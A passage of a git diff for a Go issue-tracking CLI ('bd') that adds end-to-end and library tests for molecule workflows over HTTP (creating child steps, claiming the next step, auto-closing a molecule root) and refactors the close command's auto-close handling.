|| res.NextStep == nil || res.NextStep.ID != b { + t.Fatalf("Advance without a claim = %+v, want next %s in %s, unclaimed", res, b, root) + } + if status, assignee := s.row(b); status != string(types.StatusOpen) || assignee != "" { + t.Errorf("%s after an unclaimed advance = %s/%q, want open and unassigned", b, status, assignee) + } + + res, err = fixture.Stepper.Advance(ctx, publicops.AdvanceRequest{Actor: moleculeActor, ClosedStepID: a, AutoClaim: true}) + if err != nil { + t.Fatalf("Advance with a claim: %v", err) + } + if !res.Claimed || res.NextStep == nil || res.NextStep.ID != b || res.NextStep.Assignee != moleculeActor { + t.Fatalf("Advance with a claim = %+v, want %s claimed for %s", res, b, moleculeActor) + } + if status, assignee := s.row(b); status != string(types.StatusInProgress) || assignee != moleculeActor { + t.Errorf("%s after the claim = %s/%q, want in_progress assigned to %s", b, status, assignee, moleculeActor) + } + if status, _ := s.row(c); status != string(types.StatusOpen) { + t.Errorf("%s (blocked) status = %s, want open", c, status) + } +} + +// RunMoleculeStepperNeverTakesAStepAnotherActorHolds pins the refusal the claim +// carries: a ready step assigned to someone else is skipped for the next one, +// and left exactly as it was. +func RunMoleculeStepperNeverTakesAStepAnotherActorHolds(t *testing.T, ctx context.Context, fixture MoleculeFixture) { + t.Helper() + s := moleculeSeed{t, ctx, fixture} + root := fixture.IssuePrefix + "-held" + a, held, free := root+".1", root+".2", root+".3" + s.issue(root, types.TypeMolecule, types.StatusOpen, false) + s.issue(a, types.TypeTask, types.StatusClosed, false) + heldIssue := &types.Issue{ID: held, Title: "held", IssueType: types.TypeTask, Status: types.StatusOpen, Priority: 2, Assignee: "someone-else"} + if err := fixture.CreateIssue(ctx, heldIssue, moleculeActor); err != nil { + t.Fatalf("seed %s: %v", held, err) + } + s.issue(free, types.TypeTask, types.StatusOpen, false) + for _, id := range []string{a, held, free} { + s.edge(id, root, types.DepParentChild) + } + + res, err := fixture.Stepper.Advance(ctx, publicops.AdvanceRequest{Actor: moleculeActor, ClosedStepID: a, AutoClaim: true}) + if err != nil { + t.Fatalf("Advance: %v", err) + } + if !res.Claimed || res.NextStep == nil || res.NextStep.ID != free { + t.Fatalf("Advance = %+v, want %s skipped (held) and %s claimed", res, held, free) + } + if status, assignee := s.row(held); status != string(types.StatusOpen) || assignee != "someone-else" { + t.Errorf("held step %s = %s/%q, want untouched (open, someone-else)", held, status, assignee) + } +} + +// RunMoleculeStepperAnswersCompleteAndOutsideAMolecule pins the two answers +// that claim nothing. +func RunMoleculeStepperAnswersCompleteAndOutsideAMolecule(t *testing.T, ctx context.Context, fixture MoleculeFixture) { + t.Helper() + s := moleculeSeed{t, ctx, fixture} + orphan := fixture.IssuePrefix + "-orphan" + s.issue(orphan, types.TypeTask, types.StatusClosed, false) + res, err := fixture.Stepper.Advance(ctx, publicops.AdvanceRequest{Actor: moleculeActor, ClosedStepID: orphan, AutoClaim: true}) + if err != nil { + t.Fatalf("Advance(orphan): %v", err) + } + if res.MoleculeID != "" || res.NextStep != nil || res.Claimed || res.ClosedStep == nil || res.ClosedStep.ID != orphan { + t.Errorf("Advance(orphan) = %+v, want the step and no molecule", res) + } + + root := fixture.IssuePrefix + "-complete" + s.issue(root, types.TypeEpic, types.StatusOpen, false) + s.issue(root+".1", types.TypeTask, types.StatusClosed, false) + s.edge(root+".1", root, types.DepParentChild) + res, err = fixture.Stepper.Advance(ctx, publicops.AdvanceRequest{Actor: moleculeActor, ClosedStepID: root + ".1", AutoClaim: true}) + if err != nil { + t.Fatalf("Advance(complete): %v", err) + } + if res.MoleculeID != root || !res.Complete || res.NextStep != nil || res.Claimed { + t.Errorf("Advance(complete) = %+v, want %s complete", res, root) + } + + if _, err := fixture.Stepper.Advance(ctx, publicops.AdvanceRequest{Actor: moleculeActor, ClosedStepID: fixture.IssuePrefix + "-absent"}); !errors.Is(err, publicops.ErrNotFound) { + t.Errorf("Advance(absent) = %v, want ErrNotFound", err) + } +} + +// RunMoleculeStepperClaimsAWispStep pins the wisp plane: a wisp molecule's next +// step is claimed for the actor too. +func RunMoleculeStepperClaimsAWispStep(t *testing.T, ctx context.Context, fixture MoleculeFixture) { + t.Helper() + s := moleculeSeed{t, ctx, fixture} + root, done, last := s.molecule("wisp", types.TypeMolecule, true) + res, err := fixture.Stepper.Advance(ctx, publicops.AdvanceRequest{Actor: moleculeActor, ClosedStepID: done, AutoClaim: true}) + if err != nil { + t.Fatalf("Advance: %v", err) + } + if res.MoleculeID != root || !res.Claimed || res.NextStep == nil || res.NextStep.ID != last { + t.Fatalf("Advance over a wisp molecule = %+v, want %s claimed", res, last) + } + if status, assignee := s.row(last); status != string(types.StatusInProgress) || assignee != moleculeActor { + t.Errorf("wisp step %s = %s/%q, want in_progress assigned to %s", last, status, assignee, moleculeActor) + } +} diff --git a/backend/http/BUILD.bazel b/backend/http/BUILD.bazel index 723cb49b1..d8d4e273a 100644 --- a/backend/http/BUILD.bazel +++ b/backend/http/BUILD.bazel @@ -32,6 +32,7 @@ go_test( srcs = [ "attach_test.go", "e2e_cli_test.go", + "e2e_mol_test.go", "e2e_remote_roles_test.go", "open_test.go", "per_open_credential_test.go", diff --git a/backend/http/corpus/testdata/corpus.yaml b/backend/http/corpus/testdata/corpus.yaml index 99a9a9c8b..e7a74b0d7 100644 --- a/backend/http/corpus/testdata/corpus.yaml +++ b/backend/http/corpus/testdata/corpus.yaml @@ -214,7 +214,6 @@ shapes: - id: mc-ready-mol source: mc skills/pr-review (bd ready --mol ) args: [ready, --mol, e2e-mol, --json] - pending: {slice: "S16", reason: "ready --mol loads molecule steps off a raw path: step rows lose assignee and timestamps (molecule reads over roles)"} - id: mc-ready-parent source: mc skills/pr-review (bd ready --parent ) args: [ready, --parent, e2e-ep, --json] @@ -354,20 +353,16 @@ shapes: - id: mc-mol-current source: mc worker prompts (bd mol current, ~38; inferred from in_progress work) args: [mol, current, --json] - pending: {slice: "S16", reason: "mol current without an id is silently empty over http (B3 #4)"} - id: mc-mol-current-text source: mc gc-role-worker template (bd mol current, text) args: [mol, current] compare: text - pending: {slice: "S16", reason: "mol current without an id is silently empty over http (B3 #4)"} - id: mc-mol-current-id source: mc prompts (bd mol current ) args: [mol, current, e2e-mol, --json] - pending: {slice: "S16", reason: "mol current refuses (B3 #4)"} - id: mc-mol-progress source: mc prompts (bd mol progress ) args: [mol, progress, e2e-mol, --json] - pending: {slice: "S16", reason: "mol progress refuses (B3 #4)"} # ---------------------------------------------------------------- config / probes / local - id: gc-config-get-types @@ -445,7 +440,6 @@ shapes: args: [create, --json, "gc child", -t, task, --parent, e2e-ep] compare: exit verify: [[show, --json, e2e-ep.3]] - pending: {slice: "S19", reason: "create --parent calls GetNextChildID (B3 #8)"} - id: gc-create-ephemeral source: gc bdstore.go CreateWithStorage (--ephemeral) args: [create, --json, "gc wisp", -t, task, --id, e2e-wisp-n2, --ephemeral, --metadata, '{"gc.routed_to":"pool-a"}'] diff --git a/backend/http/e2e_mol_test.go b/backend/http/e2e_mol_test.go new file mode 100644 index 000000000..2d511e8cb --- /dev/null +++ b/backend/http/e2e_mol_test.go @@ -0,0 +1,305 @@ +//go:build cgo + +package bdhttp_test + +import ( + "encoding/json" + "strings" + "testing" +) + +// TestE2E_MoleculesOverHTTP drives the molecule workflow a gc worker runs — +// `bd create --parent`, `bd mol current`, `bd mol progress`, `bd ready --mol`, +// `bd close --continue` and the molecule auto-close after the last step — +// through the real `bd` binary against an in-process `bd serve` (slices S16 +// and S19). +// +// Every one of these used to fail or, worse, answer silently over http. Each +// now has one library entry the server runs: the create role mints the child +// id, the molecule view (issueops.ViewMolecule) answers the reads, the +// close runs the auto-close in its own transaction (auto_close_molecule), and +// `close --continue` is the advanceMolecule operation, whose claim sets the +// assignee and never takes a step someone else holds. +func TestE2E_MoleculesOverHTTP(t *testing.T) { + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + addr := startE2EServer(t) + workspace := t.TempDir() + + bd := func(args ...string) bdResult { + t.Helper() + return runBD(t, bin, workspace, nil, append([]string{"--actor", "alice"}, args...)...) + } + mustBD := func(args ...string) bdResult { + t.Helper() + r := bd(args...) + if r.code != 0 { + t.Fatalf("bd %s failed (exit %d): stdout=%s stderr=%s", strings.Join(args, " "), r.code, r.stdout, r.stderr) + } + return r + } + status := func(id string) string { + t.Helper() + return firstJSONField(t, mustBD("show", id, "--json").stdout, "status") + } + + mustBD("connect", "http://"+addr, "--expect-project-id", e2eProjectID, "--json") + + root := firstJSONField(t, mustBD("create", "Patrol molecule", "-t", "molecule", "--json").stdout, "id") + if root == "" { + t.Fatal("bd create (molecule root) produced no id") + } + + // S19: the server mints .; the client no longer asks a raw + // GetNextChildID the http backend does not serve. + step1 := firstJSONField(t, mustBD("create", "Step one", "--parent", root, "--json").stdout, "id") + step2 := firstJSONField(t, mustBD("create", "Step two", "--parent", root, "--json").stdout, "id") + step3 := firstJSONField(t, mustBD("create", "Step three", "--parent", root, "--json").stdout, "id") + if step1 != root+".1" || step2 != root+".2" || step3 != root+".3" { + t.Fatalf("create --parent minted %q, %q and %q, want %q, %q and %q", step1, step2, step3, root+".1", root+".2", root+".3") + } + // An explicit --id beside --parent is still refused locally, before any mint. + if r := bd("create", "Both", "--parent", root, "--id", root+".9", "--json"); r.code == 0 { + t.Errorf("create --parent --id succeeded; want the existing refusal: %s", r.stdout) + } + + mustBD("dep", "add", step2, step1, "--json") + mustBD("dep", "add", step3, step1, "--json") + mustBD("update", step1, "-s", "in_progress", "-a", "alice", "--json") + // Someone else holds step two: the advance must skip it, not take it. + mustBD("update", step2, "-a", "bob", "--json") + + // S16: mol current with an id is a non-empty answer whose current step is + // the in-progress one. + current := decodeMolecules(t, mustBD("mol", "current", root, "--json").stdout) + if len(current) != 1 || current[0].MoleculeID != root { + t.Fatalf("mol current %s = %+v, want the one molecule %s", root, current, root) + } + if current[0].CurrentStep == nil || current[0].CurrentStep.ID != step1 || current[0].Total != 3 { + t.Fatalf("mol current %s current=%v total=%d, want current %s of 3", root, current[0].CurrentStep, current[0].Total, step1) + } + // The step is the FULL row: the raw dependents read over http is getIssue's + // shallow projection, which zeroes the assignee a worker prompt reads. + if got := current[0].CurrentStep.Assignee; got != "alice" { + t.Errorf("mol current %s current step assignee = %q, want alice (full step row)", root, got) + } + + progress := mustBD("mol", "progress", root, "--json").stdout + if n := jsonIntField(t, progress, "total"); n != 3 { + t.Errorf("mol progress total = %d, want 3: %s", n, progress) + } + if id := firstJSONField(t, progress, "current_step_id"); id != step1 { + t.Errorf("mol progress current_step_id = %q, want %q: %s", id, step1, progress) + } + + // mol show reads through the same library entry (issueops.LoadMolecule). + var shown struct { + Root struct{ ID string } `json:"root"` + Issues []struct { + ID string `json:"id"` + Assignee string `json:"assignee"` + } `json:"issues"` + } + showOut := mustBD("mol", "show", root, "--json").stdout + if err := json.Unmarshal([]byte(strings.TrimSpace(showOut)), &shown); err != nil { + t.Fatalf("parse mol show: %v\n%s", err, showOut) + } + if shown.Root.ID != root || len(shown.Issues) != 4 { + t.Errorf("mol show %s = root %q with %d issues, want %s and 4 (root + 3 steps): %s", root, shown.Root.ID, len(shown.Issues), root, showOut) + } + + t.Run("mol current without an id", func(t *testing.T) { + r := bd("mol", "current", "--json") + // Whatever the backend can do, it must not answer an EMPTY list for an + // agent with a molecule in progress: that was the swallowed refusal. + if r.code == 0 && len(decodeMolecules(t, r.stdout)) == 0 { + t.Fatalf("mol current (no id) answered an empty list while %s is in progress: stderr=%s", step1, r.stderr) + } + if r.code != 0 { + t.Fatalf("mol current (no id) failed (exit %d): %s stdout=%s", r.code, r.stderr, r.stdout) + } + got := decodeMolecules(t, r.stdout) + if len(got) != 1 || got[0].MoleculeID != root { + t.Errorf("mol current (no id) = %+v, want molecule %s", got, root) + } + }) + + // ready --mol: the step rows are the full rows (the corpus mark + // mc-ready-mol was the shallow projection dropping the assignee). + var ready struct { + Steps []struct { + Issue struct { + ID string `json:"id"` + Assignee string `json:"assignee"` + } `json:"issue"` + } `json:"steps"` + } + readyOut := mustBD("ready", "--mol", root, "--json").stdout + if err := json.Unmarshal([]byte(strings.TrimSpace(readyOut)), &ready); err != nil { + t.Fatalf("parse ready --mol: %v\n%s", err, readyOut) + } + sawStep1 := false + for _, step := range ready.Steps { + if step.Issue.ID == step1 { + sawStep1 = true + if step.Issue.Assignee != "alice" { + t.Errorf("ready --mol %s step %s assignee = %q, want alice (full step row)", root, step1, step.Issue.Assignee) + } + } + } + if !sawStep1 { + t.Errorf("ready --mol %s did not list the in-progress step %s: %s", root, step1, readyOut) + } + + // close --continue: step two is first in line but bob holds it, so the + // advance claims step three for alice — a real claim, assignee set. + cont := mustBD("close", step1, "--continue", "--json") + var contBody struct { + Continue struct { + NextStep *struct{ ID string } `json:"next_step"` + AutoAdvanced bool `json:"auto_advanced"` + MoleculeID string `json:"molecule_id"` + } `json:"continue"` + } + if err := json.Unmarshal([]byte(strings.TrimSpace(cont.stdout)), &contBody); err != nil { + t.Fatalf("parse close --continue output: %v\n%s", err, cont.stdout) + } + if !contBody.Continue.AutoAdvanced || contBody.Continue.NextStep == nil || contBody.Continue.NextStep.ID != step3 || + contBody.Continue.MoleculeID != root { + t.Errorf("close --continue = %s, want auto-advance to %s in %s (skipping %s, held by bob)", cont.stdout, step3, root, step2) + } + if got := status(step3); got != "in_progress" { + t.Errorf("%s status after close --continue = %q, want in_progress", step3, got) + } + if got := firstJSONField(t, mustBD("show", step3, "--json").stdout, "assignee"); got != "alice" { + t.Errorf("%s assignee after close --continue = %q, want alice (a claim, not a status flip)", step3, got) + } + if got := firstJSONField(t, mustBD("show", step2, "--json").stdout, "assignee"); got != "bob" || status(step2) != "open" { + t.Errorf("%s after close --continue = %s/%q, want open and still bob's", step2, status(step2), got) + } + if got := status(root); got == "closed" { + t.Fatalf("molecule %s closed with %s still open", root, step2) + } + + // Closing the last steps auto-closes the molecule root. + mustBD("close", step3) + if got := status(root); got == "closed" { + t.Fatalf("molecule %s closed with %s still open", root, step2) + } + last := mustBD("close", step2, "--force") + if strings.Contains(last.stderr, "could not") { + t.Errorf("close %s warned: %s", step2, last.stderr) + } + if got := status(root); got != "closed" { + t.Errorf("molecule %s status after its last step closed = %q, want closed (auto-close): stdout=%s stderr=%s", + root, got, last.stdout, last.stderr) + } +} + +type e2eMolecule struct { + MoleculeID string `json:"molecule_id"` + Total int `json:"total"` + CurrentStep *struct { + ID string `json:"id"` + Assignee string `json:"assignee"` + } `json:"current_step"` +} + +func decodeMolecules(t *testing.T, out string) []e2eMolecule { + t.Helper() + var got []e2eMolecule + if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &got); err != nil { + t.Fatalf("parse mol current output: %v\n%s", err, out) + } + return got +} + +// TestE2E_MoleculeCloseAgainstAnOlderServer is `bd close` on a molecule step +// against a server that advertises neither issues.close.autoCloseMolecule nor +// issues.advanceMolecule (an older bd serve, or one whose orchestrator owns +// the molecule lifecycle). Neither gap may be silent: +// +// - close --continue refuses BEFORE closing, so the step is not left closed +// with the next step unclaimed; +// - a plain close goes out without the auto-close request and names the +// molecule it did not auto-close on stderr. +func TestE2E_MoleculeCloseAgainstAnOlderServer(t *testing.T) { + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + addr, _ := startMaskingProxy(t, startE2EServer(t), func(body map[string]any) { + caps, _ := body["capabilities"].([]any) + kept := caps[:0] + for _, c := range caps { + if c != "issues.close.autoCloseMolecule" && c != "issues.advanceMolecule" { + kept = append(kept, c) + } + } + body["capabilities"] = kept + }) + workspace := t.TempDir() + bd := func(args ...string) bdResult { + t.Helper() + return runBD(t, bin, workspace, nil, append([]string{"--actor", "alice"}, args...)...) + } + mustBD := func(args ...string) bdResult { + t.Helper() + r := bd(args...) + if r.code != 0 { + t.Fatalf("bd %s failed (exit %d): stdout=%s stderr=%s", strings.Join(args, " "), r.code, r.stdout, r.stderr) + } + return r + } + status := func(id string) string { + t.Helper() + return firstJSONField(t, mustBD("show", id, "--json").stdout, "status") + } + + mustBD("connect", "http://"+addr, "--expect-project-id", e2eProjectID, "--json") + root := firstJSONField(t, mustBD("create", "Old-server molecule", "-t", "molecule", "--json").stdout, "id") + step := firstJSONField(t, mustBD("create", "First step", "--parent", root, "--json").stdout, "id") + last := firstJSONField(t, mustBD("create", "Last step", "--parent", root, "--json").stdout, "id") + epic := firstJSONField(t, mustBD("create", "Ordinary epic", "-t", "epic", "--json").stdout, "id") + child := firstJSONField(t, mustBD("create", "Only epic child", "--parent", epic, "--json").stdout, "id") + + cont := bd("close", step, "--continue", "--json") + if cont.code == 0 { + t.Fatalf("close --continue succeeded against a server without issues.advanceMolecule: %s", cont.stdout) + } + if !strings.Contains(cont.stderr+cont.stdout, "issues.advanceMolecule") || !strings.Contains(cont.stderr+cont.stdout, "nothing was closed") { + t.Errorf("close --continue refusal does not name the missing operation: stdout=%s stderr=%s", cont.stdout, cont.stderr) + } + if got := status(step); got == "closed" { + t.Fatalf("close --continue refused but %s is closed: the refusal came after the close", step) + } + + // The notice is owed only where the close left an auto-closing molecule + // complete with its root open: not for a step whose molecule still has an + // open step, and not under an ordinary epic, which never auto-closes. + for _, id := range []string{step, child} { + if r := mustBD("close", id, "--json"); strings.Contains(r.stderr, "issues.close.autoCloseMolecule") { + t.Errorf("close of %s completed no auto-closing molecule but printed the unserved auto-close notice: stderr=%s", id, r.stderr) + } + } + // The close that completes the molecule names its root, and so does an + // idempotent re-close while the root stays open. + for _, attempt := range []string{"close", "re-close"} { + r := mustBD("close", last, "--json") + if !strings.Contains(r.stderr, "completed molecule "+root) || !strings.Contains(r.stderr, "issues.close.autoCloseMolecule") { + t.Errorf("%s of %s against a server without the auto-close gave no notice naming %s: stderr=%s", attempt, last, root, r.stderr) + } + } + for _, id := range []string{step, last, child} { + if got := status(id); got != "closed" { + t.Errorf("%s status = %q, want closed", id, got) + } + } + if got := status(root); got == "closed" { + t.Errorf("molecule %s closed although the server was not asked to auto-close it", root) + } + + // The root the notice names closes by hand; then nothing is owed. + mustBD("close", root, "--json") + if r := mustBD("close", last, "--json"); strings.Contains(r.stderr, "issues.close.autoCloseMolecule") { + t.Errorf("re-close of %s under the closed %s printed the unserved auto-close notice: stderr=%s", last, root, r.stderr) + } +} diff --git a/backend/http/e2e_remote_roles_test.go b/backend/http/e2e_remote_roles_test.go index 70aba8e36..397e5facd 100644 --- a/backend/http/e2e_remote_roles_test.go +++ b/backend/http/e2e_remote_roles_test.go @@ -691,9 +691,18 @@ func TestE2E_AdvertisedExternalPolicyIsPassedThrough(t *testing.T) { t.Errorf("claimNext requests = %d, by-id claims = %d; want one atomic claim-next and no by-id claim: %v", claimNexts, byID, counter.snapshot()) } f.mustRun(nil, "close", other, "--json") - for _, p := range counter.snapshot() { + // The close policy check is the client-side policy's last chance: it runs + // before the close request, so only the reads up to that request count + // here. The molecule auto-close is not a client read any more; it rides on + // the close request itself (auto_close_molecule) and the server performs + // it inside the close. + paths := counter.snapshot() + for _, p := range paths { + if strings.HasPrefix(p, "POST /v0/beads/issues:batchClose") { + break + } if strings.HasPrefix(p, "GET /v0/beads/dependencies") { - t.Errorf("client-side policy ran against a server advertising policy.external_dependencies: %s in %v", p, counter.snapshot()) + t.Errorf("client-side policy ran against a server advertising policy.external_dependencies: %s in %v", p, paths) break } } diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 7c493dc27..bcf823bf2 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -249,6 +249,7 @@ go_library( "mol_progress.go", "mol_proxied_server.go", "mol_ready_gated.go", + "mol_roles.go", "mol_seed.go", "mol_show.go", "mol_squash.go", @@ -997,6 +998,7 @@ go_test( "mol_ready_gated_hint_test.go", "mol_ready_gated_proxied_integration_test.go", "mol_ready_gated_test.go", + "mol_route_parity_integration_test.go", "mol_show_proxied_integration_test.go", "mol_squash_embedded_test.go", "mol_squash_proxied_integration_test.go", diff --git a/cmd/bd/close.go b/cmd/bd/close.go index 07eec5fa2..0d8760c0c 100644 --- a/cmd/bd/close.go +++ b/cmd/bd/close.go @@ -37,7 +37,16 @@ the fallback anywhere, or =0 to disable it entirely. When closing multiple issues, provide one --reason for all IDs or repeat --reason once per ID. Reasons map positionally: the first --reason applies to the first ID, the second --reason to the second ID, regardless of where -the flags appear in the command line.`, +the flags appear in the command line. + +Closing a molecule's last open step also closes the molecule's root, with +the reason "all steps complete", when the root is a poured molecule, a wisp, +or an epic labeled "template"; any other epic stays open as close-eligible +work. A root that would refuse its own close (an open blocker, a pin, another +assignee) stays open with a warning, and the step's close stands. Under +--json, the step's entry names the closed root (auto_closed_molecule) or the +refusal (molecule_auto_close_refusal). --continue claims the next ready step +in the molecule for you; add --no-auto to only show it.`, // Refuse a missing ID in argument validation, before root's // PersistentPreRunE can open the store, migrate, or auto-import // (bd-m00pb); see updateCmd for the full rationale. @@ -153,6 +162,21 @@ the flags appear in the command line.`, postCloseStore = results[0].Store } + // --continue is a second operation after the close commits. Against a + // server that cannot run it (no issues.advanceMolecule), or whose + // handshake cannot be read, refuse BEFORE closing: refusing only at the + // advance would leave the step closed and the next step unclaimed, the + // half-done state --continue exists to avoid. + if continueFlag { + served, err := storage.ServesMoleculeAdvance(ctx, postCloseStore) + if err != nil { + return HandleErrorRespectJSON("--continue could not read whether the server serves issues.advanceMolecule: %v; nothing was closed", err) + } + if !served { + return HandleErrorRespectJSON("--continue needs the server's issues.advanceMolecule operation, which this server does not advertise; nothing was closed (close without --continue, then claim the next step with bd update --claim)") + } + } + // THE BATCH. The CLI's own close policy runs first and read-only, then // every id it passed goes to the BatchCloser role as one request per // store: one transaction, one Dolt commit over N ids, and an id the @@ -165,11 +189,14 @@ the flags appear in the command line.`, session, force, postCloseStore, closeClaimNextRequest(claimNext, continueFlag)) // Report and follow up on every argument, in the order it was typed. - closedIssues := []*types.Issue{} + closedIssues := []closedIssueJSON{} closedCount := 0 alreadyClosed := 0 var failures []closeIDFailure firstSettledID := "" + // The roots noticeUnservedMoleculeAutoClose already named, so a batch + // that closes several steps of one molecule names it once. + unservedRoots := map[string]bool{} for i, id := range resolvedIDs { res := outcomes[i] @@ -215,21 +242,9 @@ the flags appear in the command line.`, // Exit stays 0. alreadyClosed++ - // Molecule auto-close is itself a retry-safe, fully state-derived - // post-close contract, so it must replay on an already-closed re-close - // just like the contracts above. If the final step's real close - // persisted but its molecule auto-close did not (a crash between the two - // commits, or the root CloseIssue failing with only a warning), this - // idempotent re-close is the ONLY thing that re-drives it — otherwise the - // molecule root is stranded open forever. autoCloseCompletedMolecule - // early-returns unless the root is genuinely open, auto-close-eligible, - // and complete, so it heals only that case and reintroduces none of the - // suppressed real-close side effects (no audit, no closed→closed on the - // step). Register the store when it actually closed the root so the - // pending-commit sweep persists it — closedCount==0 would not commit. - if molID := autoCloseCompletedMolecule(ctx, activeStore, id, currentActor(), session); molID != "" { - mutatedStores[activeStore] = append(mutatedStores[activeStore], molID) - } + // The molecule auto-close is state-derived, so the library + // replays it on an already-closed re-close too (healing a root a + // crash left open); reportMoleculeAutoClose below covers both arms. } else { mutatedStores[activeStore] = append(mutatedStores[activeStore], id) @@ -241,12 +256,17 @@ the flags appear in the command line.`, audit.LogFieldChange(id, "status", oldStatus, "closed", currentActor(), reason) closedCount++ - - // Auto-close parent molecule if all steps are now complete. - // Runs against the same store the step was closed in. - autoCloseCompletedMolecule(ctx, activeStore, id, currentActor(), session) } + // The molecule root this close completed, closed by the library in + // the batch's own transaction. Register its store so the + // pending-commit sweep persists it even when the step itself was + // an already-closed no-op. + if molID := reportMoleculeAutoClose(res.AutoClosedMolecule, res.MoleculeAutoCloseRefusal); molID != "" { + mutatedStores[activeStore] = append(mutatedStores[activeStore], molID) + } + noticeUnservedMoleculeAutoClose(ctx, activeStore, id, unservedRoots) + // First id this command settled as closed — a real close or an // already-closed no-op both "touch" it. Drives the retry-safe last-touched // contract below so a re-close still points default-target commands at it. @@ -266,7 +286,7 @@ the flags appear in the command line.`, if jsonOutput { if closedIssue != nil { - closedIssues = append(closedIssues, closedIssue) + closedIssues = append(closedIssues, newClosedIssueJSON(closedIssue, res.AutoClosedMolecule, res.MoleculeAutoCloseRefusal)) } } else { debug.PrintNormal("%s Closed %s: %s\n", ui.RenderPass("✓"), formatFeedbackID(id, issueTitleOrEmpty(issue)), reason) @@ -313,11 +333,11 @@ the flags appear in the command line.`, if continueFlag && len(resolvedIDs) == 1 && closedForCommand { autoClaim := !noAuto - result, err := AdvanceToNextStep(ctx, newStandaloneStoreMolWriter(postCloseStore), resolvedIDs[0], autoClaim, currentActor()) + result, err := advanceMoleculeDirect(ctx, postCloseStore, resolvedIDs[0], autoClaim) if err != nil { fmt.Fprintf(os.Stderr, "Warning: could not advance to next step: %v\n", err) } else if result != nil { - // Mirror --claim-next: when AdvanceToNextStep auto-claims the + // Mirror --claim-next: when the molecule advance auto-claims the // next step, update .beads/last-touched so subsequent default- // target commands (e.g. bare `bd update`, `bd close`) target // it. Without this, last-touched stays pointed at the just- @@ -742,74 +762,88 @@ func closeBeadGateGetter(gateStore storage.DoltStorage) issueGetter { return routedBeadGateGetter{localStore: gateStore} } -// autoCloseCompletedMolecule checks if closing a step completed an auto-closing -// parent molecule, and if so, closes the molecule root. Ordinary epics remain -// open when all children finish so they can become explicitly close-eligible -// instead of being closed as a side effect of the final child close. It returns -// the molecule root ID when it actually closed the root (and "" otherwise) so a -// caller that did not otherwise mutate the store — an already-closed re-close in -// particular — can register the store for the pending-commit sweep. The check is -// fully state-derived and idempotent: it early-returns unless the root is open, -// auto-close-eligible, and has all steps complete, so re-invoking it never -// double-closes or reintroduces side effects. -func autoCloseCompletedMolecule(ctx context.Context, s storage.DoltStorage, closedStepID, actorName, session string) string { - moleculeID := findParentMolecule(ctx, s, closedStepID) - if moleculeID == "" { - return "" // Not part of a molecule +// reportMoleculeAutoClose presents what the library's molecule auto-close did +// for one close (issueops.CloseRequest.AutoCloseMolecule): the root it closed, +// or why a completed root stayed open. It returns the closed root's id, or "". +func reportMoleculeAutoClose(root *types.Issue, refusal string) string { + if refusal != "" { + fmt.Fprintf(os.Stderr, "Warning: could not auto-close completed molecule: %s\n", refusal) } - - // Check if molecule root is already closed - root, err := s.GetIssue(ctx, moleculeID) - if err != nil || root == nil || root.Status == types.StatusClosed || !shouldAutoCloseCompletedRoot(root) { + if root == nil { return "" } - - // Load progress to check completion - progress, err := getMoleculeProgress(ctx, s, moleculeID) - if err != nil { - return "" // Best effort — don't fail the close - } - - if progress.Completed < progress.Total { - return "" // Not all steps complete yet - } - - // All steps complete — auto-close the molecule root - if err := s.CloseIssue(ctx, moleculeID, "all steps complete", actorName, session); err != nil { - fmt.Fprintf(os.Stderr, "Warning: could not auto-close completed molecule %s: %v\n", moleculeID, err) - return "" - } - if !jsonOutput { - debug.PrintNormal("%s Auto-closed completed molecule %s\n", ui.RenderPass("✓"), formatFeedbackID(moleculeID, root.Title)) + debug.PrintNormal("%s Auto-closed completed molecule %s\n", ui.RenderPass("✓"), formatFeedbackID(root.ID, root.Title)) } - return moleculeID + return root.ID } -// shouldAutoCloseCompletedRoot returns true for molecule roots that should -// auto-close when their final step closes. Regular epics stay open and become -// explicit close-eligible work, while ephemeral wisps, template-driven -// molecules, and molecule-type coordination roots keep their cleanup behavior. -func shouldAutoCloseCompletedRoot(root *types.Issue) bool { - if root == nil { - return false - } +// closedIssueJSON is one entry of `bd close --json`'s list of closed issues: +// the closed issue's own members, and beside them what its close did to the +// molecule it completed (issueops.CloseResult.AutoClosedMolecule and +// MoleculeAutoCloseRefusal, under the HTTP API's BatchCloseOutcome names). +// Beside, not around: every entry still decodes as the issue it always was, +// and both members are absent unless the close completed a molecule. A batch +// reports each root once, on the first entry under it. +type closedIssueJSON struct { + *types.Issue + AutoClosedMolecule *types.Issue `json:"auto_closed_molecule,omitempty"` + MoleculeAutoCloseRefusal string `json:"molecule_auto_close_refusal,omitempty"` +} - if root.IssueType == types.TypeMolecule || root.Ephemeral { - return true +// newClosedIssueJSON is closed's entry. The auto-closed root drops its +// dependency records, as the closed issue does: `bd close` never prints them. +func newClosedIssueJSON(closed, autoClosedMolecule *types.Issue, refusal string) closedIssueJSON { + if autoClosedMolecule != nil { + autoClosedMolecule.Dependencies = nil } + return closedIssueJSON{Issue: closed, AutoClosedMolecule: autoClosedMolecule, MoleculeAutoCloseRefusal: refusal} +} - if root.IssueType != types.TypeEpic { - return false +// noticeUnservedMoleculeAutoClose names, on stderr, the molecule a close left +// complete but could not ask to auto-close. Against a server that does not +// advertise issues.close.autoCloseMolecule (an older bd serve, or one whose +// orchestrator owns the molecule lifecycle) the close goes out without the +// request (storage.ServesMoleculeAutoClose), so a close after which +// issueops.CompletedMolecule answers a root must say so: the root's auto-close +// is that server's to run, never silently skipped. A step under an ordinary +// epic, under a molecule with a step still open, or under a root already +// closed prints nothing. An already-closed step whose molecule is complete +// with its root open names the root again, as the served route replays its +// auto-close. noted, when not nil, holds the roots this command already +// named, so a batch names each once. A store that serves the auto-close prints +// nothing. +func noticeUnservedMoleculeAutoClose(ctx context.Context, s storage.DoltStorage, stepID string, noted map[string]bool) { + if s == nil || storage.ServesMoleculeAutoClose(ctx, s) { + return } - - for _, label := range root.Labels { - if label == BeadsTemplateLabel { - return true - } + const token = "issues.close.autoCloseMolecule" + reader, err := issueops.NewMoleculeReader(s) + var root *types.Issue + if err == nil { + root, err = issueops.CompletedMolecule(ctx, reader, stepID) } + if err != nil { + fmt.Fprintf(os.Stderr, "note: %s was closed without its molecule auto-close (the server does not advertise %s), and its molecule could not be read: %v\n", stepID, token, err) + return + } + if root == nil || noted[root.ID] { + return + } + if noted != nil { + noted[root.ID] = true + } + fmt.Fprintf(os.Stderr, "note: closing %s completed 